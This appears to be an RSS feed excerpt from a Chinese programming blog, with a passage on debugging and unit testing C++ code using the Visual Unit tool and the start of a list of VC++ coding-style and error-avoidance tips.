<p>    假设界面和要调用这个函数的其他代码都已完成。在函数的入口处插入断点，以调试方式运行工程，在界面中选择要生成文档的工程目录，点击&#8221;生成文档&#8221;，程序中断时就可以调试了。这种方式相信所有程序员都很熟悉，并且很多人都会认为这种方式最省时，但实际上，这种方式只是开头省时，当你试图把各个可能输入都调试一遍，就会发现它很费时：可能输入通常分散分布于输入源中（这里的输入源是代码文件），如果要比较全面地调试，通常要整理输入源，否则几乎不可能全面地调试，也就是说，要全面地调试，仍然要费时间整理输入，并不能完全依赖自然输入；<br />
    要针对某种输入进行调试，例如要调试参数带有缺省值的情形，一般通过反复跟踪直到想要的输入出现，或者设置条件断点拦截所需要输入，反复跟踪当然费时不少，设置条件断点也是要花时间的，并且有时无法满足需要 ，很多时候，要针对特殊输入进行调试都是很大费时的；<br />
    由于是公共输入源，输入数据很难管理，尤其是条件断点更不可能无限期地保存，以后需要再次调试时可能要做很多重复工作。<br />
    如上所述，自然驱动并不省时，不过这种方式的时间消耗隐藏在调试过程中，通常不会引起重视，其实&#8221;隐藏于调试过程中&#8221;，其成本更大，因为分散了开发人员的注意力，影响思维的连续性。<br />
    自然驱动的更主要问题是不全面，开发人员常常会将思维局限于现有的输入源，导致一些可能输入根本就没有考虑到，在本例中，很可能只是试一下解析一两个文件，检查得到的结果是否正确，如果文件中没有 带数组的参数，那这种输入很可能就被忽略掉。这种不全面，导致代码功能不齐，健壮性差，后期测试和维护成本居高不下，甚至导致项目的失败，因此，这是看起来高效，实际上很低效的方式，读者可以在看完后面两种方式的介绍后，自 已尝试并对比一下，可以拿任何有一定复杂度的代码编写来对比，不局限于这里所举的例子。</p>
<p>专门驱动</p>
<p>    专门驱动离单元测试只有一步之遥了，只要在驱动代码中添加判断预期输出的语句就构成了完整的测试代码，因此，在实际工作中，采用专门驱动最好是边编码边测试，并使用测试代码作为调试驱动。下面是为函数CExFunction::ParseOneParameter ()编写的调试驱动代码：<br />
     {CExFunction* pObj = new CExFunction();</p>
<p>     CTokenList iList;</p>
<p>     CTokenReader reader;</p>
<p>     reader.ReadTokenList(iList, &#8220;int i&#8221;);</p>
<p>     PARAMETER* ret = pObj->ParseOneParameter(iList) ;</p>
<p>     ASSERT( ret->type == &#8220;int&#8221; );</p>
<p>     ASSERT( ret->name == &#8220;i&#8221; );</p>
<p>     reader.ClearTokenList(iList); </p>
<p>     delete pParam;</p>
<p>     delete pObj;}</p>
<p>    上面的代码其实是一个测试用例的完整代码，测试代码通常都是很简单的，功能无非是使被测试的代码得于执行，被测试代码通常都涉及到外部数据，如参数、成员变量、全局变量什么的，这些数据当然要设定初始值，例如，上面的测试用例是将字符串&#8221;int i&#8221;经过CTokenReader对象的ReadTokenList方法转换成CToken对象指针的列表作为参数iList的输入。</p>
<p>    在实际工作中，函数的输入输出常常不是简单的数据类型，而是某些对象甚至是对象的集合，本例中，输入的数据就是CToken对象 指针的列表。这种情况下， 一般借助现有的代码来生成数据，通常，这些&#8221;现在代码&#8221;都是存在的，因为即使不做测试，也总有代码要调用该函数的，调用代码本来就需要生成相应的数据。本例中，CTokenReader::ReadTokenList()函数就是把字符串转换为CToken对象指针的列表。</p>
<p>    只要写完了第一个测试用例的代码，更多的用例就简单了，只要拷贝并对输入输出数据进行修改就行。细心的读都可能已注意到，第一个测试用例的前后加了{}，这是为了多个测试用例可以使用相同的变量名。</p>
<p>    使用这种方法，建立测试代码通常是很快的。编写很简单的函数时不需要调试，当然也不需要测试代码。测试代码的组织也很简单：一个产品工程对应一个测试工程，一个产品类对应一个测试类，一个需要测试的产品函数对应一个测试函数。测试工程可以加一个简单的界面，以便执行指定的测试，也可以使用相应的工具如CppUnit。</p>
<p>    再回到我们的主题：调试。有了测试代码，调试就简单了，要调试某种输入，只要在相应的测试用例中加断点就行了。使用这种方式，仅就调试来说，好处也是非常明显的：<br />
    所有输入在一起列出来，调试比较全面，程序员的思维也会比较全面；<br />
    要调试指定的输入很容易，通常不需要高级断点，更不需要通过反复跟踪来捕捉需要的输入；<br />
    调试数据可以永久保存，避免了以后修改代码时的重复工作。</p>
<p>自动驱动</p>
<p>    在Visual Unit的支持下编码调试，除了兼具自然驱动和专门驱动的优点外，还能享受Visual Unit的独特殊功能带来的便利。</p>
<p>    首先我们用个人版来说明，个人版是免费的版本，并且开发商也提供免费的基本技术支持。</p>
<p>    Visual Unit具有丰富的文档，包括视频教程，这里不再叙述其基本使用方法。只要选择要测试(调试)的类和函数(如果使用企业版的IDE插件，会根据当前文档和光标位置自动选择)，VU就会生成测试代码，并弹出测试用例编译器。VU是自动生成测试代码，而不是自动生成测试用例，也就是说，输入输出数据是由用户指定的，不过VU已经生成了输入输出数据的声明。下面是本例中VU生成的第一个测试用例的输入输出：</p>
<p>输入部分：<br />
CTokenList iList = </p>
<p>输出部分：<br />
ret ==</p>
<p>    这里的“=”和“==”仅仅表示可能需要赋值或判断输出，对于基本数据类型，可以直接填写数值，高级数据类型需要灵活处理(详细信息请查看帮助或教程)。只要把输入输出改为这样就完成了第一个测试用例的建立：</p>
<p>输入部分：<br />
     CTokenList iList = //多余的=会自动删除</p>
<p>     CTokenReader reader</p>
<p>     reader.ReadTokenList(iList, &#8220;int i&#8221;)</p>
<p>输出部分：<br />
     ret->type == &#8220;int&#8221;</p>
<p>     ret->name == &#8220;i&#8221;</p>
<p>    更多的测试用例，只要点击&#8221;新建&#8221;，就会自动拷贝当前用例，只要修改输入输出就行了。这里没有涉及到成员变量和变局全量，不过都很简单的(成员变量用点操作符访问，全局变量直接访问)，请查看帮助。</p>
<p>    可以看出，使用VU建立调试支持环境是很快速的：对于第一个测试用例，输入输出比较复杂时需要写少量简单的代码，输入输出简单时直接填写输入输出数值，其他测试用例只需点击一个按钮拷贝现有测试用例并修改输入输出就行，可以选择相近的用例来生成新的用例，这样通常只需要修改一两个数据就可以得到想要的用例。</p>
<p>    那么，还可以得到哪些好处呢？<br />
    方便地进入调式：在被调试函数的入口加断点，并调试测试工程即可进入调试；<br />
    方便地选择输入：在测试用例编辑器中轻点鼠标即可指定要调试的输入，如果执行了测试，只要点击出错的测试，就会自动选择相应的输入；<br />
    方便地切换输入：调试过程中，不需要退出调试，就可以切换到其他输入：只要在测试用例编辑器中选择另一个测试用例，用调试器的&#8221;执行到光标所在行&#8221;命令回到函数入口，即可切换到新的输入；<br />
    无限制后退重复：用调试器的&#8221;执行到光标所在行&#8221;命令可以自由地后退和重复执行，其实现的原理是&#8221;重来&#8221;，后退时相关数据也会&#8221;还原&#8221;，感觉上是真正的&#8221;后退&#8221;，这个奇特而有用的功能是VU生成的测试代码自动实现的。</p>
<p>    上述是免费的个人版所具有功能，VU企业版除了具有这些功能外，还具有&#8221;描述程序行为&#8221;的功能：<br />
    自动输出参数、成员变量的输入输出值，返回值，用户也可以用简单的语法输出任何变量或表达式的值。这些数值都是上下文相关的，也就是说，同一个用例的相关值放在一起；<br />
    显示在任一个用例下程序所执行的代码，可以很方便地查看程序是否按预想的流程执行。<br />
    程序无论多复杂，无非就是执行一些代码，读写、计算一些数据，因此，上述两方面信息已完整地描述了程序行为，很容易看出&#8221;程序干了什么&#8221;。这个功能大幅度地提高了开发人员的工作效率：<br />
    帮助整理、验证编程思路：写几行代码，就可以看看&#8221;程序干了什么&#8221;，轻松判断&#8221;现在所写的对不对&#8221;，也比较容易想清楚&#8221;接下来要怎么写&#8221;。<br />
    快速找出程序错误：根据输入输出数据和所执行的代码，通常可以很快判断程序是否按预期工作并找到出错原因，比单步调试要快得多。<br />
    编程的时间消耗主要不在于敲键盘，而在于编程思路和调试，VU企业版可谓&#8221;对症下药&#8221;，在这两方面大量提高工作效率。</p>
<p>    以上所述，都是针对软件开发过程中无可逃避的工作：编码调试。仅从时间上来说，对于编写调试有一定复杂度的程序，使用专门驱动，可能比自然驱动多费一点时间，但也是完全合算的，至于自动驱动，如果使用VU个人版，大概能省时10%，如果使用企业版，则可以省时20-50%!读者可以自行尝试比较一下。是否省时还不是最重要的，更高的价值在于：使用专门驱动或自动驱动编码调试，实际上也已经把令人望而生畏的单元测试工作完成了一半，并清除了实施单元测试的最主要障碍。</p>
<p>　<br />
三、实现彻底单元测试</p>
<p>    是什么使单元测试难于实施？首先是代码的可测性。可测性是什么？如果一个类具有基本的可测性，那么把它加入到另一个工程后（当然有关联的文件也要加入）能够通过编译，这其实是很低的要求，但对于一个有一定规模的项目，如果开发调试时使用自然驱动，在完成编码后才进行单元测试，那么通常都不具有可测性，因为开发人员常常在无意之中使代码之间产生了不当耦合，这些不当耦合累积起来，会使整个项目的代码纠缠在一起，造成难于测试。</p>
<p>    使单元测试难于实施的另一个方面是建立测试用例。在本例中，如果由不熟悉代码的测试人员建立测试用例，那么他很可能不知道如何生成CToken对象 指针的列表。</p>
<p>    如果边开发边使用专门驱动(测试代码放在另一个工程中)或自动驱动调试，那么一旦出现影响可测性的不当耦合就会及时发现及时解决，保证了代码的可测性，另一方面，由于至少建立了一个测试用例，测试人员建立其他用例时只要修改一下输入输出数据，从而大大降低建立测试用例的难度。总之，使用专门驱动或自动驱动调试，在不增加开发工作量的同时，已经为单元测试打一下了坚实的基础。</p>
<p>    范例项目V0.1处于这样一个阶段：刚刚完成代码编写，并未完成单元测试，现有的多数测试用例都是编码时用于调试的。在此基础上，单元测试由谁做，难度都不大。VU的典型应用是通过三个 阶段来完成针对一个函数的彻底的测试：<br />
    1）基本功能测试：测试代码的基本功能；<br />
    2）完成白盒覆盖：在现有用例的基础上，使用测试用例设计器为未覆盖的语句、条件、分支、路径设计测试用例，达到100%语句、条件、分支、路径覆盖；<br />
    3）执行自动边界测试捕捉意料之外的错误。<br />
    以上三阶段可以由不同人员在不同时间完成，团队可以根据实际情况做出灵活安排，下面是一个典型的开发测试流程。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
    1）开发人员边开发边使用VU调试测试，完成基本功能测试。在VU的支持下开发调试，可以大幅提高开发效率，绝不会影响开发进度。也许读者会认为，开发人员没有时间去设计测试用例，其实这是一种误解，开发人员写代码时肯定要想清楚代码的功能并且要使用基本的输入进行调试，这些就是基本的测试用例，实际上不需要多做什么。开发人员提交代码同时提交测试代码和测试报告。如果项目已完成或部分完成编码，也建议先由程序员首先对重要代码进行基本的功能测试。<br />
    2）测试人员检查基本测试用例是否符合设计，并在此基础上完成白盒覆盖和边界测试。由于有了初步的测试，保证了代码可测性，不可能产生因为不当耦合造成难于测试的状况；在现有用例的基础上，使用测试用例设计器找出遗漏用例也不会有太大障碍，这就使测试人员的工作易于进行。测试人员只需要提交更新过的测试代码和测试报告，不需要另外记录测出的问题。<br />
    3）开发人员下载新的测试代码和测试报告，执行整体测试，然后针对报告了错误的函数执行函数测试以获取详细信息，必要时进行调试，找出错误，修改代码，使所有测试通过，再次提交产品代码和测试报告。<br />
    4）测试人员再次执行整体测试，验证所有的测试均已通过。</p>
<p>    以上流程是动态和反复的，并不是编码完成后再单元测试。开发人员写完一个类后即可提交代码由测试人员完成白盒覆盖和边界测试。另外，团队可以根据开发与测试人员的比例调整工作份额，如果团队没有测试人员，那么由开发人员完成全部单元测试也是可行的。</p>
<p>    彻底的单元测试对于软件开发来说，其价值是难于估量的：除了保证局部代码的质量外，有了单元测试，任何时候修改代码后都可以通过回归测试来自动检查修改是否引入错误，这就使开发过程可以适应频繁变化的需求，系统分析、概要设计和详细设计都可以做得简单一些，也更能适应螺旋式开发过程，以后的维护升级成本也会大幅降低，同时，高质量的代码使集成测试和系统测试的工作量降低很多(实际上单元测试已包含了大部分的集成测试)，发现问题后的修改也会高效得多。总之，要提高软件开发质量、降低软件开发成本，最有效的改进就是进行彻底的单元测试，如果不进行单元测试，任何流程改进都无法保证产品质量，因为，程序始终是由代码构成的，代码的质量没有保证，软件的质量拿什么来保证？单元测试并不排斥其他过程改进，相反，单元测试对开发流程中的所有环节几乎都有促进作用。</p>
<p>    下边再谈谈关于白盒覆盖的话题。使用VU实施单元测试，100%的语句、条件、分支覆盖通常都是很容易的，路径覆盖有时候会很难，例如，我们所举的例了，CExFunction::ParseOneParameter ()，有九十多条路径，要覆盖似乎不现实或没必要，这种状况通常是设计不合理造成的，例如，CExFunction::ParseOneParameter ()函数的代码分为三块：1、解析缺省值，2、解析数组，3、解析类型和参数名，前两块解析了缺省值和数组后把相应的Token从列表中删除，这样的话，第3块与前两块是没有逻辑关系的，但是，这3块代码会组合出很多路径，没有逻辑关系的代码所组合出来的路径是没有意义的，这些代码具有&#8221;高耦合低内聚&#8221;的特征，不应该放在一个函数中。范例中另外写了一个函数：CExFunction::ParseOneParameter2()，把以上三块代码分别独立出来自成一个函数，这样 每个函数都能完成100%的路径覆盖，重构后的代码既易于测试，也易于维护。范例中有大量类似的函数，甚至有超过200行的函数，这是为了检验VU的适应能力，以后的版本是会进行重构。我们建议程序员完成编码后，检查一下路径数量，如果路径很多，代码很可能需要分拆，合理的路径数量应该是等价类数量的一至两倍。另外，从逻辑结构图也可以看出来：图中有两个或两个以上串联的复杂分支结构，往往表示代码的结构有问题。</p>
<p>    VU的逻辑结构图具有屏蔽对象的功能，因此，遇到上述情形时可以通过交替屏蔽部分分支结构的方式来实现路径覆盖，但这不是我们推荐的方式，因为它虽然可以保证测试的完整性，但并没有改进代码的结构。</p>
<p>    关于单元测试和范例项目，还有很多值得叙述的话题，例如内存泄漏测试以及一些复杂问题的处理等等，这里暂且不谈。最后谈谈已完成编码的项目的单元测试。对于已完成编码的项目，最好先由开发人员&#8221;去耦合&#8221;，方法是将代码文件从底层向上排列，按顺序依次将文件加入到另一个工程并编译，如果产生编译错误，则想办法消除编译错误 ，VU提供了文件排序工具，具体的使用方法请查阅帮助中《测试旧工程》部分。 完成“去耦合”后，由开发人员对自己编写的代码完成基本功能测试，测试人员完成白盒覆盖和边界测试。对于编码过程中使用自然驱动调试的已完成编写的代码，完全由测试部门进行单元测试通常是很难的。<br />
附：<br />
C++代码文档生成器（源代码下载）</p>
<p>    本软件的主要功能是解析C/C++代码，依据代码及注释自动生成代码文档。点击这里浏览本文档生成器依据自身代码生成的文档，文档格式为XML，需要XML解析器的支持，请允许ActiveX运行，如仍无法浏览，请下载安装微软的XML插件。</p>
<p>    这是凯乐软件测试部主持的一个开源项目，模拟最糟糕的开发团队，最混乱的开发流程，以恶劣环境下的实战检验和展示Visual Unit在软件开发和测试中的应用。此项目由很少写代码的测试和预研部门开发，人员不固定，时间也不固定，谁有空就写上一些；没有设计，没有文档，基至也不在代码文件中保存编码人员的信息，成员完全依赖于阅读代码和测试用例来理解其他成员写的代码；除了简单的命名规则外，没有其他规范，甚至连一个函数原则上不能超过50行之类的基本规范也没有（范例中有超过200行的函数CMacro::Unwind()，一万多条路径）。总之，此项目所展示的编码调试方式和单元测试方法，是任何开发团队都可以实施的。详细信息，请阅读相关文档：《高效开发与彻底测试》。</p>
<p>代码文档生成器使用说明</p>
<p>1) 不需要安装，双击启动；<br />
2) 选择要生成文档的项目目录，可以选择多个目录；<br />
3) 在编译条件输入框中添加编译条件（可选）；<br />
4) 选择文档的保存目录；<br />
5) 点击&#8221;生成&#8221;，即可生成XML文档；<br />
6) 将XSL目录下的文件拷贝到文档目录，点击index.htm即可浏览文档；<br />
7) 通过修改XSL目录下的文件可以定制显示格式或装饰页面。</p>
<p>项目源代码使用说明</p>
<p>源代码包括产品工程和测试工程:<br />
产品工程目录：/源代码/Docer/<br />
测试工程目录：/源代码/TestDocer/</p>
<p>安装Visual Unit1.3，启动VC6，将产品工程目录及Visual Unit安装目录/include/添加到搜索路径，更详细的信息请查看Visual Unit帮助《新建测试工程-VC6》。</p>
<p>产品工程可以使用VC6直接编译。</p>
<p>测试工程的编译运行：<br />
1）启动Visual Unit(个人版或企业版)，导航窗口->菜单->目录，选择产品工程和测试工程的目录；<br />
2）试一下编译测试工程，如果通不过编译，请查看帮助《编译错误》章节的说明；<br />
3）在导航窗口选择要测试的源文件，如产品工程目录下的ExFunction.cpp文件；<br />
4）在导航窗口函数列表中选择一个函数，如ParseOneParameter，编译并执行测试工程（Execute Program或Ctrl+F5），即可执行测试。<br />
5）企业版用户可以使用IDE插件，自动选择要测试的文件和函数，请查看帮助中《使用IDE插件》章节。<br />
6）要调试程序，添加断点，如在CExFunction::ParseOneParameter()入口处加断点，执行调试(Go或F5)，即可进入调试，调试前可以打开测试用例编辑器选择调试输入(测试用例)，调试过程中也可以切换用例，请参考帮助《排错&#8211;调试》。企业版用户，可以直接执行IDE插件的调试命令，无需手工断点。<br />
7）大多数代码（比较简单的除外）都是边开发边在Visual Unit的支持下调试的，不需要界面，随便选择一个函数都可以立即进入调试，也可以随便增删修改调试输入（使用测试用例编辑器）。<br />
8）目前版本仅实现了最基本功能，为了检验和展示VU的适应能力，很多代码不完善或有重构的必要，同时也有很多测试用例不完整。如果您有意扩展 本项目的功能，请在Visual Unit的支持下编码调试，即使是免费的个人版，也能大幅提高开发的效率和质量。 　<br />
　<br />
变量命名规则</p>
<p>m 成员变量<br />
g 全局变量<br />
s 静态变量<br />
p 指针<br />
i 输入参数<br />
o 输出参数</p>
<p>示例<br />
CString name; //局部变量<br />
CStrin mName; //成员变量<br />
CString iName; //输入参数<br />
CString& oName; //输出参数<br />
CString gName; //全局变量<br />
CString* pName; //局部变量，指针<br />
CString* mpName; //成员变量，指针<br />
CString* ipName; //输入参数，指针<br />
CString* opName; //输出参数，指针<br />
CString* iopName; //输入输出参数，指针</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/712.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VC 代码编写 常识</title>
		<link>http://www.evanjiang.net.cn/archives/247.html</link>
		<comments>http://www.evanjiang.net.cn/archives/247.html#comments</comments>
		<pubDate>Fri, 16 Jan 2009 07:27:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vc++/vc#]]></category>
		<category><![CDATA[vc 代码编写 常识]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=247</guid>
		<description><![CDATA[<p>一 程序设计
　　要避免错误，首先要从好的设计开始。对于程序的设计，需考虑到程序的两个特性：
　　1 简单性
　　大多数常见的错误来源于程序设计中不必要的复杂成分。一个好的设计应该反映问题本身的要求，而不必为了刻意追求“满足将来的需要”而添加不必要的特性。实际上，简
单优雅的设计比那些复杂的设计更能迎合未来的需求。
　　2 耦合性
　　耦合(decoupling)性用来衡量不同对象之间的依赖程度。松耦合的程序易于理解和实现，易于测试和维护，且这种程序包含错误的可能性小，错误也较容易发现和清除。
二 编程风格
　　编程风格是个人问题，有很大的随意性。一个好的编程风格不仅让代码易理解，也易于调试。好的编程风格包括：
　　1 清晰地书写代码
　　如果没有必要，尽量不要使用语言中的高级特性，因为这些特性不易于理解和调试。使用大多数程序员都能理解的语言成分来书写代码不易犯错且易于理解和维护。
　　2 编写结构良好的代码
　　当程序崩溃时所能得到的最基本的调试信息是源代码文件、问题所在行的行号和一个调用栈(call stack)。调用栈是调试程序时最有帮助的部分，它提供错误出现的上下文，
也就是带参数的函数调用序列。你书写的代码结构越好，调用栈就能给你越多信息。</p>
<p></p>
<p>　　3 使用良好的标识符
　　一个好名字能使你的代码更容易被理解和维护。流行的匈牙利命名法(Hungarian Notation)实际上是把标识符的意义和表示方法结合起来。现在，匈牙利命名法表现出不少的
局限性，匈牙利命名法过于看重前缀的作用，对一个变量的表达信息不完整，实际上并没有传递多少有用信息，它使代码难于阅读，难以维护。一个好的命名传统是指示出变量的
作用域以便在需要的时候检查它的定义，并明确地指出一个变量是全局的、局部的还是成员数据。依赖变量的定义比依赖匈牙利前缀更加有用和可靠。
　　好的名字能够用平常的语言概括出该标识符所代表的实体的含义。在选择类、函数、变量的名字时可以考虑以下几个原则：
　　　　取简单的描述性名字，好的名字能简要地概括出这个标识符代表的含义。
　　　　避免简写，简写使标识符难于阅读和记忆，尽量使用混合大小写的完整的单词。
　　　　避免相似性的文字，避免混淆。
　　　　避免采用一般的或随机产生的名字，而应采用有实际意义的名字。如欲从按钮类派生位图按钮，取一个CBitmapButton，而不是CMyButton。
　　4 用简单的语句行
　　在VC中，一行可写多个语句。但调试是面向行的，过于复杂的行难于调试。因此，从调试的角度出发，每一个语句都应独自成行。
　　5 使用统一的排列
　　统一的排列方式使类、变量的定义和语句更加明显。
　　6 用括号使书写清晰
　　你不一定能都记住各种运算符的优先级和结合律，而使用多余的括号并不影响编译后的代码。因此，如果你不能确定是否需要括号时，请加上它。
　　7 使用好的注释
　　用好的注释能使你的代码不易出错，而且便于其他程序员阅读，便于理解和维护。
三 编写程序时应注意的问题
　　1 充分利用VC++的特性
　　可用下列技术来充分利用VC++的编译器的特性：
　　（1）用const代替#define来创建常量；
　　（2）用enum代替#define来创建常量集合；
　　（3）用内联(inline)函数代替#define；
　　这三种技术用C++而不是C预处理。使用预处理的问题在于编译器对于预处理器所作的事情一无所知，因此无法用数据类型检查错误和不一致的地方。预处理的名字不在符号表
里，因此也不能用调试工具来检查预处理常量。相似地，预处理宏被编译进去，不能用调试工具跟踪。编译器能充分了解const、enum和inline语句，从而能在编译的时候对出现的
问题发出警告。
　　但预处理在很多调试代码中起重要作用。调试代码经常需要从非调试代码里面得到不同的行为，而最有效的办法就是让预处理为调试创建不同的代码。
　　（4）用new和delete代替malloc和free;
　　在创建对象、类型的安全性和灵活性方面。使用new/delete比malloc/free要好。另外，new可被重载，提供了更大的灵活性。








　　（5）用输入输出流(iostreams)代替stdio。
　　使用C++输入输出流（）而不使用C标准输入输出库（printf/sprintf和scanf/sscanf），有利于安全性和扩展性。从调试的角度来看，标准输入输出函数的最大问题在
于编译器不能对控制流参数进行任何类型检测，而输入输出流的任何问题都能在编译时检测出来。
　　2 使用头文件
　　要在头文件中声明所有共享的外部符号，而且保留函数原型中的参数名。把所有的共享定义放在头文件中，不要在.cpp文件里面看到extern关键字。
　　3 初始化变量
　　在使用变量之前一定要把它们初始化。在初始化之前就使用变量肯定会产生错误。通常不需对对象进行初始化，对对数据成员应在构造函数中初始化。必须明确地为在栈中和
堆中分配的数组和数据结构进行初始化。对于对象，应该初始化每个需要初始化的数据成员。因为变量的使用是由优化器来检查的，所以检测未初始化的本地变量，发布版本要比
调试版本要做得好。
　　4 使用布尔表达式
    C++的布尔类型：bool，值为true和false，大小为一个字节。
    Windows程序通常用BOOL类型。定义如下：
      Typedef int BOOL;
      #define FALSE 0
      #define TRUE 1
　　在C++中，一个布尔表达式如果为0则为假，其他则为真。因此，对布尔表达式应该检查是否问假而不是检查是否为真。
　　5 使用句柄和指针
　　初始化一个指针时，要么让其指向一个有效的内存地址，要么设为0（空指针），避免指针指向无效地址。回收指针所指对象时要重新初始化这个指针，并且在指针被释放前为
空时就对其进行处理。对句柄的处理跟指针一样。
　　6 用引用而不是指针做参数
　　用指针做函数的参数可传递一个空指针，很灵活，但也很容易忘了对指针进行初始化。而引用是对象的别名，它必须和有效的对象相关联，不存在空的和没有初始化的引用。
当在函数中收到一个引用参数时，可以肯定这是一个有效的对象。程序用引用做参数比用指针做参数更为健壮。
　　7 强制类型转换(cast)
　　进行数据类型的强制类型转换时，将会调用相应的构造函数或转换函数来创建一个新类型的临时对象。对指针的正确类型转换可消除一个编译错误，但并没改变指针。强制类
型转换破坏了编译器进行类型检查的功能，而这正是编译器查找错误的最有效的机制。为了保证安全性，每一个强制类型转换都需要手工进行类型检查。为尽量避免强制类型转换
，你可以：避免使用多态数据类型；使用更加广泛的基类；提供特殊的存取函数；让编译器隐式处理类型转换等措施。
　　8 使用构造函数和析构函数
　　构造函数需要分配内存，创建资源或者打开文件，这些运算并不总是成功。构造函数没有返回值，没有直接显示错误的方法。一个常见的方法（在很多MFC类中使用）是把对象
创建分为两步：第一步，让构造函数以一种不会出错的方式初始化对象；第二步，让某些初始化函数（如Init或Open）完成工作，这一步可能出错。另一种方法是在构造函数中使
用异常：第一步，以不会出错的方式初始化对象；第二步，用可能在try段内出错的代码初始化对象；第三步，在catch代码里面处理异常。如果出现异常，就会在构造函数里清除
分配的资源，并且再次抛出异常。








　　异常处理的一个关键细节就是在栈展开的过程中抛出的异常会终止整个应用程序。在处理异常时经常要调用析构函数，因此析构函数很容易出错，一定要保证析构函数的异常
在析构函数中得到处理。要保证基类的析构函数是虚函数。这样，就算对象是一个指向基类的指针，也会调用派生类的析构函数。否则，就会引起资源泄漏(resource [...]]]></description>
			<content:encoded><![CDATA[<p>一 程序设计<br />
　　要避免错误，首先要从好的设计开始。对于程序的设计，需考虑到程序的两个特性：<br />
　　1 简单性<br />
　　大多数常见的错误来源于程序设计中不必要的复杂成分。一个好的设计应该反映问题本身的要求，而不必为了刻意追求“满足将来的需要”而添加不必要的特性。实际上，简<br />
单优雅的设计比那些复杂的设计更能迎合未来的需求。<br />
　　2 耦合性<br />
　　耦合(decoupling)性用来衡量不同对象之间的依赖程度。松耦合的程序易于理解和实现，易于测试和维护，且这种程序包含错误的可能性小，错误也较容易发现和清除。<br />
二 编程风格<br />
　　编程风格是个人问题，有很大的随意性。一个好的编程风格不仅让代码易理解，也易于调试。好的编程风格包括：<br />
　　1 清晰地书写代码<br />
　　如果没有必要，尽量不要使用语言中的高级特性，因为这些特性不易于理解和调试。使用大多数程序员都能理解的语言成分来书写代码不易犯错且易于理解和维护。<br />
　　2 编写结构良好的代码<br />
　　当程序崩溃时所能得到的最基本的调试信息是源代码文件、问题所在行的行号和一个调用栈(call stack)。调用栈是调试程序时最有帮助的部分，它提供错误出现的上下文，<br />
也就是带参数的函数调用序列。你书写的代码结构越好，调用栈就能给你越多信息。</p>
<p><span id="more-247"></span></p>
<p>　　3 使用良好的标识符<br />
　　一个好名字能使你的代码更容易被理解和维护。流行的匈牙利命名法(Hungarian Notation)实际上是把标识符的意义和表示方法结合起来。现在，匈牙利命名法表现出不少的<br />
局限性，匈牙利命名法过于看重前缀的作用，对一个变量的表达信息不完整，实际上并没有传递多少有用信息，它使代码难于阅读，难以维护。一个好的命名传统是指示出变量的<br />
作用域以便在需要的时候检查它的定义，并明确地指出一个变量是全局的、局部的还是成员数据。依赖变量的定义比依赖匈牙利前缀更加有用和可靠。<br />
　　好的名字能够用平常的语言概括出该标识符所代表的实体的含义。在选择类、函数、变量的名字时可以考虑以下几个原则：<br />
　　　　取简单的描述性名字，好的名字能简要地概括出这个标识符代表的含义。<br />
　　　　避免简写，简写使标识符难于阅读和记忆，尽量使用混合大小写的完整的单词。<br />
　　　　避免相似性的文字，避免混淆。<br />
　　　　避免采用一般的或随机产生的名字，而应采用有实际意义的名字。如欲从按钮类派生位图按钮，取一个CBitmapButton，而不是CMyButton。<br />
　　4 用简单的语句行<br />
　　在VC中，一行可写多个语句。但调试是面向行的，过于复杂的行难于调试。因此，从调试的角度出发，每一个语句都应独自成行。<br />
　　5 使用统一的排列<br />
　　统一的排列方式使类、变量的定义和语句更加明显。<br />
　　6 用括号使书写清晰<br />
　　你不一定能都记住各种运算符的优先级和结合律，而使用多余的括号并不影响编译后的代码。因此，如果你不能确定是否需要括号时，请加上它。<br />
　　7 使用好的注释<br />
　　用好的注释能使你的代码不易出错，而且便于其他程序员阅读，便于理解和维护。<br />
三 编写程序时应注意的问题<br />
　　1 充分利用VC++的特性<br />
　　可用下列技术来充分利用VC++的编译器的特性：<br />
　　（1）用const代替#define来创建常量；<br />
　　（2）用enum代替#define来创建常量集合；<br />
　　（3）用内联(inline)函数代替#define；<br />
　　这三种技术用C++而不是C预处理。使用预处理的问题在于编译器对于预处理器所作的事情一无所知，因此无法用数据类型检查错误和不一致的地方。预处理的名字不在符号表<br />
里，因此也不能用调试工具来检查预处理常量。相似地，预处理宏被编译进去，不能用调试工具跟踪。编译器能充分了解const、enum和inline语句，从而能在编译的时候对出现的<br />
问题发出警告。<br />
　　但预处理在很多调试代码中起重要作用。调试代码经常需要从非调试代码里面得到不同的行为，而最有效的办法就是让预处理为调试创建不同的代码。<br />
　　（4）用new和delete代替malloc和free;<br />
　　在创建对象、类型的安全性和灵活性方面。使用new/delete比malloc/free要好。另外，new可被重载，提供了更大的灵活性。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　（5）用输入输出流(iostreams)代替stdio。<br />
　　使用C++输入输出流（<<和>>）而不使用C标准输入输出库（printf/sprintf和scanf/sscanf），有利于安全性和扩展性。从调试的角度来看，标准输入输出函数的最大问题在<br />
于编译器不能对控制流参数进行任何类型检测，而输入输出流的任何问题都能在编译时检测出来。<br />
　　2 使用头文件<br />
　　要在头文件中声明所有共享的外部符号，而且保留函数原型中的参数名。把所有的共享定义放在头文件中，不要在.cpp文件里面看到extern关键字。<br />
　　3 初始化变量<br />
　　在使用变量之前一定要把它们初始化。在初始化之前就使用变量肯定会产生错误。通常不需对对象进行初始化，对对数据成员应在构造函数中初始化。必须明确地为在栈中和<br />
堆中分配的数组和数据结构进行初始化。对于对象，应该初始化每个需要初始化的数据成员。因为变量的使用是由优化器来检查的，所以检测未初始化的本地变量，发布版本要比<br />
调试版本要做得好。<br />
　　4 使用布尔表达式<br />
    C++的布尔类型：bool，值为true和false，大小为一个字节。<br />
    Windows程序通常用BOOL类型。定义如下：<br />
